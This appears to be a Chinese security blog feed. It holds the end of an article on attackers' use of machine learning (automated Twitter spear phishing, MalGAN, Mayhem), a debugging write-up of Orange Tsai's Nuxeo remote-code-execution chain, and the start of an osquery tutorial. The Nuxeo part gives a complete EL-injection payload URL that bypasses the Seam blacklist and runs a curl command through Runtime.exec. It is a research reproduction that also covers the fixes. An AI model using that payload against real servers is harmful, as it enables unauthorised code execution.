这类验证码一般不需要打码做训练,只需要找到缺口的位置,并模拟运动轨迹就可以了。
具体针对各个平台的破解骚操作的话,可以参考这个知乎回答:滑块验证码(滑动验证码)相比图形验证码,破解难度如何?——知乎

自动化鱼叉式钓鱼攻击

随着0day成本的升高,黑客们越来越爱用钓鱼来对用户进行攻击。
而对于一些“重点目标”,更是会采用一种名为鱼叉式钓鱼(spear phishing)的办法来定制化处理。攻击者会花时间了解攻击目标,包括姓名、邮箱地址、社交媒体账号或者任何在网上参与过的内容等。攻击目标不是一般个人,而是特定的公司或者组织的成员,窃取的资料也并非个人的资料,而是其他高度敏感性资料。
在Black Hat USA 2016年的议题 “Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter”里,研究员尝试用SNAP_R(SocialNetwork Automated Phishing with Reconnaissance)递归神经网络模型来向特定用户(即攻击目标)发送钓鱼推文。该模型采用鱼叉式网络钓鱼渗透测试数据进行训练,为提升点击成功率,还动态嵌入了从目标用户和转发或关注用户处抽取的话题,并在发送推文时@攻击目标。

k5yzj9vl49-min.png

该自动化鱼叉式钓鱼攻击主要包括两部分:

  1. 寻找钓鱼攻击目标对象

首先,利用TwitterStreaming API收集用户名,根据用户个人信息描述和推文情况衡量钓鱼成功概率,用户个人信息包括用户名、转发/响应的推文的频率/时间、对某主题的态度、位置信息、行为模式、已参加或者将要参加的大型活动等,也包括工作、职位头衔、知名度等反映用户价值大小的信息。然后,按照钓鱼成功的概率大小将用户进行分类。

攻击者从Firehose(Twitter用户发送消息的输出口)中挑选用户,并判断该用户属于刚才所说分类方法中的具体类别。如果用户的钓鱼成功的概率比较高,就选取该用户作为攻击目标,向其发送嵌有钓鱼链接的虚假推文。

  1. 自动化鱼叉钓鱼

选取攻击目标后,攻击者利用SNAP_R递归神经网络模型抽取目标感兴趣话题以及该目标发送推文或者回复推文的情况以便于产生钓鱼推文内容。除介词等停止词之外,最频繁出现的推文内容都可以用于构造推文内容,推文内容会选择用户经常发送或转推推文的时间进行发送。

在SNAP_R模型中,采用了马尔可夫模型和长短期记忆LSTM(LongShort-Term Memory)递归神经网络构造推文内容。马尔可夫模型根据文本同时出现的概率来推测文本的内容,比如说——

如果训练集包含短语the cat in the hat的次数比较多,当模型出现the时,则下一个内容很可能是cat 或者hat。但是由马尔科夫模型产生的内容通常是没有意义的,只是出现频率比较高的词语的组合体而已。而LSTM适合于处理和预测时间序列中间隔和延迟非常长的重要事件,与马尔可夫模型的区别在于,LSTM能结合语境判断下一个可能出现的词语。两者结合构造更接近于人类撰写的推文内容。

通过对90名用户进行测试发现:该自动化鱼叉式网络钓鱼框架的成功率为30%~60%;大规模手动鱼叉式网络钓鱼传统上的成功率为45%,而广撒网式钓鱼只有5%到14%的成功率。测试结果说明该自动化鱼叉式钓鱼方法极其有效

资料链接:

自动化恶意软件样本生成

论文Generating Adversarial Malware Examples for Black-Box Attacks Based on GAN 利用GAN生成对抗恶意软件样本。最终的实验证明,MalGAN能够将实际中的恶意软件检测率降低到接近零,同时,让defence策略难以起作用。

image-20180924010825193-min.png

其实这一点主要涉及的是对抗样本生成的知识,由于其和第二篇「2」Attack AI 里涉及到的知识点有部分重叠,所以在这里我们先跳过,把这部分内容放到「2」里来讲~

自动化漏洞挖掘

2016年的Defcon CTF上,一支名为Mayhem的机器CTF战队与另外十四支人类顶尖CTF战队上演了信息安全领域首次人机黑客对战,并一度超过两只人类战队。而Mayhem的来历,要从美国国防部先进项目研究局(DARPA,Defense Advanced Research Projects Agency)举办的网络超级挑战赛(CGC,Cyber Grand Challenge)说起。

CGC是DARPA于2013年发起的全球性网络安全挑战赛,旨在推进自动化网络防御技术发展,即实时识别系统缺陷、漏洞,并自动完成打补丁和系统防御,最终实现全自动的网络安全攻防系统。参赛队伍全部由计算机组成,无任何人为干预。所以,CGC是机器之间的CTF比赛,目标是推进全自动的网络安全攻防系统。

在比赛之前,每支参赛团队需要开发一套全自动的网络推理系统CRS(Cyber Reasoning System),需要可对Linux二进制程序进行全自动化的分析和发现其中的漏洞,并自动生成能够触发漏洞的验证代码,自动对程序漏洞进行修补。

最终,来自卡内基梅隆大学的ForAllSecure团队研制的Mayhem 系统获得了冠军,并参加了2016年的Defcon CTF。

Defcon CTF上的分数(Mayhem有些可惜,比赛前两天似乎是收到的流量有问题。后来才发现DEF CON CTF Finals用的平台和CGC CFE不同,第三天收到流量,据说9个CB找出了7个exploit、修补了6个。如果来场公平的较量也许能碾压人类。)

Screen Shot 2018-09-25 at 6.58.40 PM-min.png

通过舆情分析和精准营销来影响政治事件

前面提到的几个点,主要还是从传统的安全场景上来进行描述的。但如果黑客想,同样可以利用机器学习技术来影响到更深远的安全领域,比如说国家安全。

在特朗普当选美国总统之后,Cambridge Analytica这家公司便被推到了风口浪尖。这家公司的负责人主动公开宣称Cambridge Analytica非法获取超过500万Facebook个人账户信息,然后使用这些数据构建算法,分析Facebook用户个性资料,并将这些信息与他们的投票行为关联起来,从而使得竞选团队能够准确识别在两位候选人之间摇摆不定的选民,并有针对性地制作和投放广告。

1509590215740001318-min.png

如上面这个叫做LGBT United的账号中为威斯特布路浸信会反抗运动打广告。元数据显示,这支广告花了账号持有者3000多卢布,并且它针对的是堪萨斯州的LGBT群体以及那些对希拉里·克林顿或伯尼·桑德斯(民主党竞选人)感兴趣的人。

一家大数据公司尚且如此,那么卷入了干涉美国大选和英国脱欧罪名的俄罗斯呢?

References

[1] Doug Drinkwater. 6 ways hackers will use machine learning to launch attacks.
[2] Seymour J, Tully P. Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter[J]. Black Hat USA, 2016, 37.
[3] Hu W, Tan Y. Generating adversarial malware examples for black-box attacks based on GAN[J]. arXiv preprint arXiv:1702.05983, 2017.
[4] Nick Penzenstadler, Brad Heath, Jessica Guynn. We read every one of the 3,517 Facebook ads bought by Russians. Here's what we found. USA TODAY.
[5] 科技与少女. 验证码识别综述.

互联网企业为什么必须关注应用安全能力建设

Nuxeo RCE漏洞分析

$
0
0

说明

Nuxeo RCE的分析是来源于Orange的这篇文章How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System,中文版见围观orange大佬在Amazon内部协作系统上实现RCE。在Orange的这篇文章虽然对整个漏洞进行了说明,但是如果没有实际调试过整个漏洞,看了文章之后始终还是难以理解,体会不深。由于Nuxeo已经将源码托管在Github上面,就决定自行搭建一个Nuxeo系统复现整个漏洞。

环境搭建

整个环节最麻烦就是环境搭建部分。由于对整个系统不熟,踩了很多的坑。

源码搭建

由于Github上面有系统的源码,考虑直接下载Nuxeo的源码搭建环境。当Nuxeo导入到IDEA中,发现有10多个模块,导入完毕之后也没有找到程序的入口点。折腾了半天,也没有运行起来。

考虑到之后整个系统中还涉及到了NuxeoJBoss-SeamTomcat,那么我就必须手动地解决这三者之间的部署问题。但在网络上也没有找到这三者之间的共同运行的方式。对整个三个组件的使用也不熟,搭建源码的方式也只能夭折了。

Docker远程调试

之后同学私信了orange调试方法之后,得知是直接使用的docker+Eclipse Remote Debug远程调试的方式。因为我们直接从Docker下载的Nuxeo系统是可以直接运行的,所以利用远程调试的方式是可以解决环境这个问题。漏洞的版本是在Nuxeo的分支8上面。整个搭建步骤如下:

  1. 拉取分支。从Docker上面拉取8的分支版本,docker pull nuxeo:8
  2. 开启调试。修改/opt/nuxeo/server/bin/nuxeo.conf文件,关闭#JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n这行注释,开始远程调试。
  3. 安装模块。进入到/opt/nuxeo/server目录下运行./bin/nuxeoctl mp-install nuxeo-jsf-ui(这个组件和我们之后的漏洞利用有关)
  4. 导出源代码。由于需要远程调试,所以需要将Docker中的源代码导出来。从Docker中到处源代码到宿主机中也简单。

    1. 进入到Docker容器中,将/opt/nuxeo/server下的文件全部打包
    2. 从Docker中导出上一步打包的文件到宿主机中。
  5. Daemon的方式运行Docker环境。
  6. 用IDEA直接导入server/nxserver/nuxeo.war程序,这个war包程序就是一个完整的系统了,之后导入系统需要的jar包。jar来源包括server/binserver/libserver/nxserver/bundlesserver/nxserver/lib。如果导入的war程序没有报错没有显示缺少jar包那就说明我们导入成功了。
  7. 开启IDEA对Docker的远程调试。进入到Run/Edit Configurations/配置如下:

2018-08-20-1.jpg

8.导入程序源码。由于我们需要对nuxeojboss-seam相关的包进行调试,就需要导入jar包的源代码。相对应的我们需要导入的jar包包括:apache-tomcat-7.0.69-srcnuxeo-8.10-SNAPSHOTjboss-seam-2-3-1的源代码。

至此,我们的整个漏洞环境搭建完毕。

漏洞调试

路径规范化错误导致ACL绕过

ACL是Access Control List的缩写,中文意味访问控制列表。nuxeo中存在NuxeoAuthenticationFilter对访问的页面进行权限校验,这也是目前常见的开发方式。这个漏洞的本质原理是在于由于在nuxeo中会对不规范的路径进行规范化,这样会导致绕过nuxeo的权限校验。

正如orange所说,Nuxeo使用自定义的身份验证过滤器NuxeoAuthenticationFilter并映射/*。在WEB-INF/web.xml中存在对NuxeoAuthenticationFilter的配置。部分如下:

...
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauthGrant.jsp</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauth/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
...

但是我们发现login.jsp并没有使用NuxeoAuthenticationFilter过滤器(想想这也是情理之中,登录页面一般都不需要要权限校验)。而这个也是我们后面的漏洞的入口点。

分析org.nuxeo.ecm.platform.ui.web.auth.NuxeoAuthenticationFilter::bypassAuth()中的对权限的校验。

protected boolean bypassAuth(HttpServletRequest httpRequest) {
...
    try {
        unAuthenticatedURLPrefixLock.readLock().lock();
        String requestPage = getRequestedPage(httpRequest);
        for (String prefix : unAuthenticatedURLPrefix) {
            if (requestPage.startsWith(prefix)) {
                return true;
            }
        }
    }
....

解读如orange所说:

从上面可以看出来,bypassAuth检索当前请求的页面,与unAuthenticatedURLPrefix进行比较。 但bypassAuth如何检索当前请求的页面? Nuxeo编写了一个从HttpServletRequest.RequestURI中提取请求页面的方法,第一个问题出现在这里!

追踪进入到

protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);
}

getRequestedPage()对路径的处理很简单。如果路径中含有;,会去掉;后面所有的字符。以上都直指Nuxeo对于路径的处理,但是Nuxeo后面还有Web服务器,而不同的Web服务器对于路径的处理可能也不相同。正如Orange所说

每个Web服务器都有自己的实现。 Nuxeo的方式在WildFly,JBoss和WebLogic等容器中可能是安全的。 但它在Tomcat下就不行了! 因此getRequestedPage方法和Servlet容器之间的区别会导致安全问题!

根据截断方式,我们可以伪造一个与ACL中的白名单匹配但是到达Servlet中未授权区域的请求!

借用Orange的PPT中的一张图来进行说明:

2018-08-20-2.jpg

我们进行如下的测试:

  1. 访问一个需要进行权限认证的URL,oauth2Grant.jsp最终的结果是出现了302

2018-08-20-3.jpg

  1. 我们访问需要畸形URL,http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp,结果出现了500

2018-08-20-4.jpg

出现了500的原因是在于进入到tomcat之后,因为servlet逻辑无法获得有效的用户信息,因此它会抛出Java NullPointerException,但是http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp已经绕过ACL了。

Tomcat的路径的规范化的处理

这一步其实如果我们知道了tomcat对于路径的处理就可以了,这一步不必分析。但是既然出现了这个漏洞,就顺势分析一波tomcat的源码。

根据网络上的对于tomcat的解析URL的源码分析,解析Tomcat内部结构和请求过程和[Servlet容器Tomcat中web.xml中url-pattern的配置详解[附带源码分析]](https://www.cnblogs.com/fangjian0423/p/servletContainer-tomcat-urlPattern.html)。tomcat对路径的URL的处理的过程是:

2018-08-20-5.png

tomcat中存在Connecter和Container,Connector最重要的功能就是接收连接请求然后分配线程让Container来处理这个请求。四个自容器组件构成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。会以此向下解析,也就是说。如果tomcat收到一个请求,交由Container去设置HostContext以及wrapper。这几个组件的作用如下:

2018-08-20-6.jpg

我们首先分析org.apache.catalina.connector.CoyoteAdapter::postParseRequest()中对URL的处理,

  1. 经过了postParseRequest()中的convertURI(decodedURI, request);之后,会在req对象中增加decodedUriMB字段,值为/nuxeo/oauth2Grant.jsp

2018-08-20-7.jpg

  1. 解析完decodedUriMB之后,connector对相关的属性进行设置:

    connector.getMapper().map(serverName, decodedURI, version,request.getMappingData());
    request.setContext((Context) request.getMappingData().context);
    request.setWrapper((Wrapper) request.getMappingData().wrapper);
  2. 之后进入到org.apache.tomcat.util.http.mapper.Mapper中的internalMapWrapper()函数中选择对应的mapper(mapper就对应着处理的serlvet)。在这个internalMapWrapper()中会对mappingData中所有的属性进行设置,其中也包括wrapperPath。而wrapperPath就是用于之后获得getServletPath()的地址。

2018-08-20-9.jpg

  1. 最后进入到org.apache.jasper.servlet.JspServlet::service()处理URL。整个函数的代码如下:

    public void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ...
        jspUri = request.getServletPath();
        String pathInfo = request.getPathInfo();
        if (pathInfo != null) {
            jspUri += pathInfo;
        }
    
        try {
            boolean precompile = preCompile(request);
            serviceJspFile(request, response, jspUri, precompile);
        } catch (RuntimeException e) {
            throw e;
        } catch (ServletException e) {
            throw e;
        }
        ...
    }

在函数内部通过jspUri = request.getServletPath();来获得URL。最终通过层层调用的分析,是在org.apache.catalina.connector.Request::getServletPath()中的获得的。

public String getServletPath() {
    return (mappingData.wrapperPath.toString());
}

得到的结果就是/oauth2Grant.jsp.

最后程序运行serviceJspFile(request, response, jspUri, precompile);,运行oauth2Grant.jsp对应的servlet。由于没有进过权限认证,直接访问了oauth2Grant.jsp,导致servlet无法获取用户的认证信息,结果报错了。

2018-08-20-10.jpg

这也是我们之前访问http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp出现了500 java.lang.NullPointerException的原因。

代码重用功能导致部分EL调用

由于NuxeoTomcat对于路径解析不一致的问题,目前我就可以访问任意的servlet。现在的问题是我们需要访问一个去访问未经认证的Seam servlet去触发漏洞。如Orange所说:

actionMethod是一个特殊的参数,可以从查询字符串中调用特定的JBoss EL(Expression Language)

actionMethod的触发是由org.jboss.seam.navigation.Pages::callAction处理。如下:

private static boolean callAction(FacesContext facesContext) {
    //TODO: refactor with Pages.instance().callAction()!!
    boolean result = false;
    String actionId = facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
    if (actionId!=null)
    {
    String decodedActionId = URLDecoder.decode(actionId);
    if (decodedActionId != null && (decodedActionId.indexOf('#') >= 0 || decodedActionId.indexOf('{') >= 0) ){
        throw new IllegalArgumentException("EL expressions are not allowed in actionMethod parameter");
    }
    if ( !SafeActions.instance().isActionSafe(actionId) ) return result;
    String expression = SafeActions.toAction(actionId);
    result = true;
    MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
    outcome = toString( actionExpression.invoke() );
    fromAction = expression;
    handleOutcome(facesContext, outcome, fromAction);
    }    
    return result;
}

其中actionId就是actionMethod参数的内容。callAction整体功能很简单,从actionId中检测出来expression(即EL表达式),之后利用actionExpression.invoke()执行表达式,最终通过handleOutcome()输出表达式的结果,问题是在于handleOutcome()也能够执行EL表达式。但是actionMethod也不可能让你随意地执行EL表达式,在方法中还存在一些安全检查。包括SafeActions.instance().isActionSafe(actionId)。跟踪进入到org.jboss.seam.navigation.SafeActions::isActionSafe():

public boolean isActionSafe(String id){
    if ( safeActions.contains(id) ) return true;
    int loc = id.indexOf(':');
    if (loc<0) throw new IllegalArgumentException("Invalid action method " + id);
    String viewId = id.substring(0, loc);
    String action = "\"#{" + id.substring(loc+1) + "}\"";
    // adding slash as it otherwise won't find a page viewId by getResource*
    InputStream is = FacesContext.getCurrentInstance().getExternalContext().getResourceAsStream("/" +viewId);
    if (is==null) throw new IllegalStateException("Unable to read view " + "/" + viewId + " to execute action " + action);
    BufferedReader reader = new BufferedReader( new InputStreamReader(is) );
    try {
        while ( reader.ready() ) {
            if ( reader.readLine().contains(action) ) {
                addSafeAction(id);
                return true;
            }
        }
        return false;
    }
// catch exception
}

:作为分隔符对id进行分割得到viewIdaction,其中viewId就是一个存在的页面,而action就是EL表达式。reader.readLine().contains(action)这行代码的含义就是在viewId页面中必须存在action表达式。我们以一个具体的例子来进行说明。login.xhtml为例进行说明,这个页面刚好存在<td><h:inputText name="j_username" value="#{userDTO.username}" /></td>表达式。以上的分析就说明了为什么需要满足orange的三个条件了。

  1. actionMethod的值必须是一对,例如:FILENAME:EL_CODE
  2. FILENAME部分必须是context-root下的真实文件
  3. 文件FILENAME必须包含内容“#{EL_CODE}”(双引号是必需的)

例如这样的URL:http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=login.xhtml:userDTO.username。其中login.xhtml:userDTO.username满足了第一个要求;login.xhtml是真实存在的,满足了第二个要求;"#{userDTO.username}"满足了第三个要求。

双重评估导致EL注入

看起来是非常安全的。因为这样就限制了只能执行在页面中的EL表达式,无法执行攻击者自定义的表达式,而页面中的EL表达式一般都是由开发者开发不会存在诸如RCE的这种漏洞。但是这一切都是基于理想的情况下。但是之前分析就说过在callAction()中最终还会调用handleOutcome(facesContext, outcome, fromAction)对EL执行的结果进行应一步地处理,如果EL的执行结果是一个表达式则handleOutcome()会继续执行这个表达式,即双重的EL表达式会导致EL注入。

我们对handleOutcome()的函数执行流程进行分析:

  1. org.jboss.seam.navigation.Pages::callAction()中执行handleOutcome():
  2. org.jboss.seam.navigation.Pages:handleOutcome()中。
  3. org.nuxeo.ecm.platform.ui.web.rest.FancyNavigationHandler::handleNavigation()
  4. org.jboss.seam.jsf.SeamNavigationHandler::handleNavigation()
  5. org.jboss.seam.core.Interpolator::interpolate()
  6. org.jboss.seam.core.Interpolator::interpolateExpressions()中,以Object value = Expressions.instance().createValueExpression(expression).getValue();的方式执行了EL表达式。

问题的关键是在于找到一个xhtml供我们能够执行双重EL。根据orange的文章,找到widgets/suggest_add_new_directory_entry_iframe.xhtml。如下:

  <nxu:set var="directoryNameForPopup"
    value="#{request.getParameter('directoryNameForPopup')}"
    cache="true">
....

其中存在#{request.getParameter('directoryNameForPopup')}一个EL表达式,用于获取到directoryNameForPopup参数的内容(这个就是第一次的EL表达式了)。那么如果directoryNameForPopup的参数也是EL表达式,这样就会达到双重EL表达式的注入效果了。

至此整个漏洞的攻击链已经完成了。

双重EL评估导致RCE

需要注意的是在Seam2.3.1中存在一个反序列化的黑名单,具体位于org/jboss/seam/blacklist.properties中,内容如下:

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']

黑名单导致无法通过"".getClass().forName("java.lang.Runtime")的方式获得反序列化的对象。但是可以利用数组的方式绕过这个黑名单的检测,""["class"].forName("java.lang.Runtime")。绕过了这个黑名单检测之后,那么我们就可以利用""["class"].forName("java.lang.Runtime")这种方式范反序列化得到java.lang.Runtime类进而执行RCE了。我们重新梳理一下整个漏洞的攻击链:

  1. 利用nuxeo中的bypassAuth的路径规范化绕过NuxeoAuthenticationFilter的权限校验;
  2. 利用Tomcat对路径的处理,访问任意的servlet;
  3. 利用jboss-seam中的callAction使我们可以调用actionMethod。利用actionMethod利用调用任意xhtml文件中的EL表达式;
  4. 利用actionMethod我们利用调用widgets/suggest_add_new_directory_entry_iframe.xhtml,并且可以控制其中的参数;
  5. 控制suggest_add_new_directory_entry_iframe中的request.getParameter('directoryNameForPopup')中的directoryNameForPopup参数,为RCE的EL表达式的payload;
  6. org.jboss.seam.navigation.Pages::callAction执行双重EL,最终造成RCE;

我们最终的Payload是:

http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')}

其中172.17.0.1是我宿主机的IP地址,''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]得到的就是exec(java.lang.String)''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]得到的就是getRuntime(),最终成功地RCE了。

2018-08-20-11.jpg

修复

Nxueo的修复

Nuxeo出现的漏洞的原因是在于ACL的绕过以及与tomcat的路径规范化的操作不一致的问题。这个问题已经在NXP-24645: fix detection of request page for login中修复了。修复方式是:

2018-08-20-12.jpg

现在通过httpRequest.getServletPath();获取的路径和tomcat保持一致,这样ACL就无法被绕过同时有也不会出现于tomcat路径规范化不一致的问题;

seam的修复

Seam的修复有两处,NXP-24606: improve Seam EL blacklistNXP-24604: don't evalue EL from user input
blacklist中增加了黑名单:

2018-08-20-13.jpg

包括.forName(,这样无法通过.forName(进行反序列化了。

修改了callAction()中的方法处理,如下:

2018-08-20-14.jpg

修改之后的callAction()没有进行任何的处理直接返回false不执行任何的EL表达式。

总结

通篇写下来发现自己写和Orange的那篇文章并没有很大的差别,但是通过自己手动地调试一番还是有非常大的收获的。这个漏洞的供给链的构造确实非常的精巧。

  1. 充分利用了Nuxeo的ACL的绕过,与Tomcat对URL规范化的差异性导致了我们的任意的servlet的访问。
  2. 利用了seam中的actionMethod使得我们可以指向任意xhtml中的任意EL表达式。
  3. 利用了callAction()中对于EL表达式的处理执行了双重EL表达式。

osquery初识

$
0
0

0x01 说明

osquery是一个由FaceBook开源用于对系统进行查询、监控以及分析的一款软件。osquery对其的说明如下:

osquery exposes an operating system as a high-performance relational database. This allows you to write SQL-based queries to explore operating system data. With osquery, SQL tables represent abstract concepts such as running processes, loaded kernel modules, open network connections, browser plugins, hardware events or file hashes.

我们知道当你们在Linux中使用诸如pstopls -l等等命令的时候,可以发下其实他们的输出结果的格式都是很固定的很像一张表。或许是基于这样的想法,facebook开发了osquery。osquery将操作系统当作是一个高性能的关系型数据库。使用osquery运行我们能够使用类似于SQL语句的方式去查询数据库中的信息,比如正在运行的进程信息,加载的内核模块,网络连接,浏览器插件等等信息(一切查询的信息的粒度取决于osquery的实现粒度了)。

osquery也广泛地支持多个平台,包括MacOS、CentOS、Ubuntu、Windows 10以及FreeBSD,具体所支持的版本的信息也可以在osquery主页查看。除此之外,osquery的配套文档/网站也是一应俱全,包括主页Githubreadthedocsslack

本篇文章以CentOS为例说明Osquery的安装以及使用。

0x02 安装

主页上面提供了不同操作系统的安装包,我们下载CentOS对应的rpm文件即可。在本例中文件名是osquery-3.3.0-1.linux.x86_64.rpm,使用命令sudo yum install osquery-3.3.0-1.linux.x86_64.rpm安装。安装成功之后会出现:

Installed:
  osquery.x86_64 0:3.3.0-1.linux                                                                                                                                                             
Complete!

0x03 运行

osquery存在两种运行模式,分别是osqueryi(交互式模式)、osqueryd(后台进程模式)。

  • osqueryi,与osqueryd安全独立,不需要以管理员的身份运行,能够及时地查看当前操作系统的状态信息。
  • osqueryd,我们能够利用osqueryd执行定时查询记录操作系统的变化,例如在第一次执行和第二次执行之间的进程变化(增加/减少),osqueryd会将进程执行的结果保存(文件或者是直接打到kafka中)。osqueryd还会利用操作系统的API来记录文件目录的变化、硬件事件、网络行为的变化等等。osqueryd在Linux中是以系统服务的方式来运行。

为了便于演示,我们使用osqueyi来展示osquery强大的功能。我们直接在terminal中输入osqueryi即可进入到osqueryi的交互模式中(osqueryi采用的是sqlite的shell的语法,所以我们也可以使用在sqlite中的所有的内置函数)。

[user@localhost Desktop]$ osqueryi
Using a virtual database. Need help, type '.help'
osquery> .help
Welcome to the osquery shell. Please explore your OS!
You are connected to a transient 'in-memory' virtual database.

.all [TABLE]     Select all from a table
.bail ON|OFF     Stop after hitting an error
.echo ON|OFF     Turn command echo on or off
.exit            Exit this program
.features        List osquery's features and their statuses
.headers ON|OFF  Turn display of headers on or off
.help            Show this message
.mode MODE       Set output mode where MODE is one of:
                   csv      Comma-separated values
                   column   Left-aligned columns see .width
                   line     One value per line
                   list     Values delimited by .separator string
                   pretty   Pretty printed SQL results (default)
.nullvalue STR   Use STRING in place of NULL values
.print STR...    Print literal STRING
.quit            Exit this program
.schema [TABLE]  Show the CREATE statements
.separator STR   Change separator used by output mode
.socket          Show the osquery extensions socket path
.show            Show the current values for various settings
.summary         Alias for the show meta command
.tables [TABLE]  List names of tables
.width [NUM1]+   Set column widths for "column" mode
.timer ON|OFF      Turn the CPU timer measurement on or off

通过.help,我们能够查看在osqueryi模式下的一些基本操作。比如.exit表示退出osqueryi,.mode切换osqueryi的输出结果,.show展示目前osqueryi的配置信息,.tables展示在当前的操作系统中能够支持的所有的表名。.schema [TABLE]显示具体的表的结构信息。

osquery> .show
osquery - being built, with love, at Facebook

osquery 3.3.0
using SQLite 3.19.3

General settings:
     Flagfile: 
       Config: filesystem (/etc/osquery/osquery.conf)
       Logger: filesystem (/var/log/osquery/)
  Distributed: tls
     Database: ephemeral
   Extensions: core
       Socket: /home/xingjun/.osquery/shell.em

Shell settings:
         echo: off
      headers: on
         mode: pretty
    nullvalue: ""
       output: stdout
    separator: "|"
        width: 

Non-default flags/options:
  database_path: /home/xingjun/.osquery/shell.db
  disable_database: true
  disable_events: true
  disable_logging: true
  disable_watchdog: true
  extensions_socket: /home/xingjun/.osquery/shell.em
  hash_delay: 0
  logtostderr: true
  stderrthreshold: 3

可以看到设置包括常规设置(General settings)、shell设置(Shell settings)、非默认选项(Non-default flags/options)。在常规设置中主要是显示了各种配置文件的位置(配置文件/存储日志文件的路径)。 在shell设置中包括了是否需要表头信息(headers),显示方式(mode: pretty),分隔符(separator: "|")。

.table可以查看在当前操作系统中所支持的所有的表,虽然在schema中列出了所有的表(包括了win平台,MacOS平台,Linux平台)。但是具体到某一个平台上面是不会包含其他平台上的表。下方显示的就是我在CentOS7下显示的表。

osquery> .table
  => acpi_tables
  => apt_sources
  => arp_cache
  => augeas
  => authorized_keys
  => block_devices
  => carbon_black_info
  => carves
  => chrome_extensions
  => cpu_time
  => cpuid
  => crontab
...

.schema [TABLE]可以用于查看具体的表的结构信息。如下所示:

osquery> .schema users
CREATE TABLE users(`uid` BIGINT, `gid` BIGINT, `uid_signed` BIGINT, `gid_signed` BIGINT, `username` TEXT, `description` TEXT, `directory` TEXT, `shell` TEXT, `uuid` TEXT, `type` TEXT HIDDEN, PRIMARY KEY (`uid`, `username`)) WITHOUT ROWID;
osquery> .schema processes
CREATE TABLE processes(`pid` BIGINT, `name` TEXT, `path` TEXT, `cmdline` TEXT, `state` TEXT, `cwd` TEXT, `root` TEXT, `uid` BIGINT, `gid` BIGINT, `euid` BIGINT, `egid` BIGINT, `suid` BIGINT, `sgid` BIGINT, `on_disk` INTEGER, `wired_size` BIGINT, `resident_size` BIGINT, `total_size` BIGINT, `user_time` BIGINT, `system_time` BIGINT, `disk_bytes_read` BIGINT, `disk_bytes_written` BIGINT, `start_time` BIGINT, `parent` BIGINT, `pgroup` BIGINT, `threads` INTEGER, `nice` INTEGER, `is_elevated_token` INTEGER HIDDEN, `upid` BIGINT HIDDEN, `uppid` BIGINT HIDDEN, `cpu_type` INTEGER HIDDEN, `cpu_subtype` INTEGER HIDDEN, `phys_footprint` BIGINT HIDDEN, PRIMARY KEY (`pid`)) WITHOUT ROWID;

上面通过.schema查看usersprocesses表的信息,结果输出的是他们对应的DDL。

0x03 基本使用

在本章节中,将会演示使用osqueryi来实时查询操作系统中的信息(为了方便展示查询结果使用的是.mode line模式)。

查看系统信息

osquery> select * from system_info;
          hostname = localhost
              uuid = 4ee0ad05-c2b2-47ce-aea1-c307e421fa88
          cpu_type = x86_64
       cpu_subtype = 158
         cpu_brand = Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz
cpu_physical_cores = 1
 cpu_logical_cores = 1
     cpu_microcode = 0x84
   physical_memory = 2924228608
   hardware_vendor = 
    hardware_model = 
  hardware_version = 
   hardware_serial = 
     computer_name = localhost.localdomain
    local_hostname = localhost

查询的结果包括了CPU的型号,核数,内存大小,计算机名称等等;

查看OS版本

osquery> select * from os_version;
         name = CentOS Linux
      version = CentOS Linux release 7.4.1708 (Core)
        major = 7
        minor = 4
        patch = 1708
        build = 
     platform = rhel
platform_like = rhel
     codename =

以看到我的本机的操作系统的版本是CentOS Linux release 7.4.1708 (Core)

查看内核信息版本

osquery> SELECT * FROM kernel_info;
  version = 3.10.0-693.el7.x86_64
arguments = ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
     path = /vmlinuz-3.10.0-693.el7.x86_64
   device = /dev/mapper/centos-root

osquery> SELECT * FROM kernel_modules LIMIT 3;
   name = tcp_lp
   size = 12663
used_by = -
 status = Live
address = 0xffffffffc06cf000

   name = fuse
   size = 91874
used_by = -
 status = Live
address = 0xffffffffc06ae000

   name = xt_CHECKSUM
   size = 12549
used_by = -
 status = Live
address = 0xffffffffc06a9000

查询repo和pkg信息

osquery提供查询系统中的repo和okg相关信息的表。在Ubuntu中对应的是apt相关的包信息,在Centos中对应的是yum相关的包信息。本例均以yum包为例进行说明

osquery> SELECT * FROM yum_sources  limit 2;
    name = CentOS-$releasever - Base
 baseurl = 
 enabled = 
gpgcheck = 1
  gpgkey = file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

    name = CentOS-$releasever - Updates
 baseurl = 
 enabled = 
gpgcheck = 1
